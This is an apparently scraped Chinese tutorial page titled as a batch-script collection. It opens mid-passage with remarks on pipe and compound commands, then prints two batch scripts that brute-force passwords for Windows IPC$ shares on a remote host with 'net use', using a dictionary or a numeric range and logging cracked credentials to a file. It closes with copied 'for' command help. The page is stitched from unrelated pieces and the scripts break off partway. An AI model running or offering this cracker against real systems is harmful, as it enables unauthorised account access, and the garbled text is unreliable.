盘绰网教程:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

批处理整理集合

时间:2024/10/5作者:未知来源:盘绰网教程人气:


[摘要]exit   警告:患有心脑血管病的朋友请不要研究以上两例, 否则轻者头大如斗, 重者血管爆裂。 任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责, 与本人和本论坛无关。 ...
exit

  警告:患有心脑血管病的朋友请不要研究以上两例, 否则轻者头大如斗, 重者血管爆裂。 任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责, 与本人和本论坛无关。 特此警告!

  有关管道命令和组合命令就大概介绍到这里了, 不知道聪明的你是否理解?呵呵, 能理解就成天才了, 除非你以前就已经掌握!千万别小看了这几个鬼命令, 大棒槌是我的说, 简直就不是人学的东西!但我还是静下心来研究了一番, 最后得出的结论如上所述, 已经一点不剩的交给你了, 希望你好好收藏并消化吸收, 当然有错误被你发现了, 或者不完整的地方被你看出来了, 请赶紧告诉我一声!

  这几个命令真的把我的头都搞大了。 在网上有一篇流传很广的批处理教程:“简明批处理教程”, 虽然说的比较全面, 但看起来很不过瘾。 在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么, 毕竟我连for /?都没给出), 而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。 我之所以花整整一章来讲管道命令和组合命令, 是因为他们才是批处理的精华和灵魂, 能否正确利用好这几个命令, 是能否掌握批处理的前提条件。 如for、set等DOS命令的问题, 可以从DOS的角度出发专门有针对性的学习, 但有关这几个命令的问题, 却是不容易精通掌握的----他们之间的关系太复杂了!

  将下列代码存为bat文件

  1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名

  2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名

  密码破解出来之后, 存放于c:\pass.txt文件里面。

  将下列代码存为pass.bat文件

  @echo off

  echo ------------------------------------------------------------------- >>c:\pass.txt

  echo ------------------------------------------------------------------- >>c:\pass.txt

  date /t >>c:\pass.txt

  time /t >>c:\pass.txt

  echo 破解结果: >>c:\pass.txt

  if "%6"=="1" goto 大棒槌是我的说2

  :大棒槌是我的说1

  start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

  goto quit

  :大棒槌是我的说2

  start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

  :quit

  将下列代码存为test.bat

  net use \\%1\ipc$ %2 /user:"%3"

  goto answer%ERRORLEVEL%

  rem %ERRORLEVEL%表示取前一命令执行返回结果, net use成功返回0, 失败返回2

  :answer0

  echo 远程主机:"%1" >>c:\pass.txt

  echo 用 户:"%3" >>c:\pass.txt

  echo 密 码:%2 >>c:\pass.txt

  net use \\%1\ipc$ /delet

  exit

  :answer2

  For

  对一组文件中的每个文件运行指定的命令。

  可以在批处理程序中或直接从命令提示符使用 for 命令。

  要在批处理程序中使用 for 命令, 请使用以下语法:

  for %%variable in (set) docommand [command-parameters]

  要在命令提示符下使用 for, 请使用以下语法:

  for %variable in (set) do command [command-parameters]

  参数

  %%variable 或 %variable

  代表可替换的参数。 for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable), 直到此命令(在 command-parameters 中指定)处理所有的文件为止。 使用 %% variable 在批处理程序中执行 for 命令。 使用 % variable 通过命令提示符执行 for 命令。 变量名区分大小写。



关键词:  批处理整理集合





Copyright © 2012-2018 盘绰网教程(http://www.panchuo.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版